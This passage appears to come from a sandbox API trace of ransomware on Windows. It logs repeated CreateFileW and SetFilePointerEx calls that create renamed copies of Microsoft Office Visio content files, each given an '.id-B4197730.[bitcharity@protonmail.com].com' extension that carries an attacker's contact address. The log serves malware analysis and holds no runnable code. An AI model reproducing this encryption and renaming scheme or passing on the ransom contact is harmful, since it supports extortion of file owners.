content\\1033\\ads_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.658] CloseHandle (hObject=0x128c) returned 1 [0272.659] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.659] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ADS_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ads_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.660] CloseHandle (hObject=0x128c) returned 1 [0272.660] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.660] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ALARM_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\alarm_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.660] CloseHandle (hObject=0x128c) returned 1 [0272.661] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.661] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ALARM_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\alarm_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.661] CloseHandle (hObject=0x128c) returned 1 [0272.662] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.662] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ANNOT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\annot_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.662] CloseHandle (hObject=0x128c) returned 1 [0272.663] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.663] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ANNOT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\annot_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.663] CloseHandle (hObject=0x128c) returned 1 [0272.664] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.664] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\appl_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.665] CloseHandle (hObject=0x128c) returned 1 [0272.667] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.667] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\appl_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.667] CloseHandle (hObject=0x128c) returned 1 [0272.668] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.668] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPL_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\appl_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.668] CloseHandle (hObject=0x128c) returned 1 [0272.669] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.669] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPL_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\appl_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.669] CloseHandle (hObject=0x128c) returned 1 [0272.670] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.670] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ARROWS_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\arrows_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.670] CloseHandle (hObject=0x128c) returned 1 [0272.671] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.671] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ARROWS_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\arrows_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.671] CloseHandle (hObject=0x128c) returned 1 [0272.672] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.672] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ASSOCIATIONS_UML_CLASS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\associations_uml_class_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.672] CloseHandle (hObject=0x128c) returned 1 [0272.673] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.673] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ASSOCIATIONS_UML_CLASS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\associations_uml_class_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.673] CloseHandle (hObject=0x128c) returned 1 [0272.674] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.674] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\audit_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.674] CloseHandle (hObject=0x128c) returned 1 [0273.339] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.339] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\audit_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.041] CloseHandle (hObject=0x1278) returned 1 [0274.042] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.043] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldcor_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.043] CloseHandle (hObject=0x1278) returned 1 [0274.045] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.045] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldcor_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.045] CloseHandle (hObject=0x1278) returned 1 [0274.046] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.046] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldcor_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.047] CloseHandle (hObject=0x1278) returned 1 [0274.048] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.048] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldcor_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.048] CloseHandle (hObject=0x1278) returned 1 [0274.050] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.050] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK3_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\block3_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.050] CloseHandle (hObject=0x1278) returned 1 [0274.051] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.052] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK3_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\block3_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.052] CloseHandle (hObject=0x1278) returned 1 [0274.053] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.053] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\blockp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.053] CloseHandle (hObject=0x1278) returned 1 [0274.054] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.054] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKP_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\blockp_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.055] CloseHandle (hObject=0x1278) returned 1 [0274.062] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.062] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\blockp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.062] CloseHandle (hObject=0x1278) returned 1 [0274.063] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.063] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKP_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\blockp_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.063] CloseHandle (hObject=0x1278) returned 1 [0274.065] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.065] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\block_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.065] CloseHandle (hObject=0x1278) returned 1 [0274.066] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.066] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\block_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.066] CloseHandle (hObject=0x1278) returned 1 [0274.067] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.067] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\block_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.068] CloseHandle (hObject=0x1278) returned 1 [0274.068] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.069] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\block_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.069] CloseHandle (hObject=0x1278) returned 1 [0274.074] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.074] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BORDRS_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bordrs_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.075] CloseHandle (hObject=0x1234) returned 1 [0274.077] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.078] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BORDRS_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bordrs_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.078] CloseHandle (hObject=0x1270) returned 1 [0274.079] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.079] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 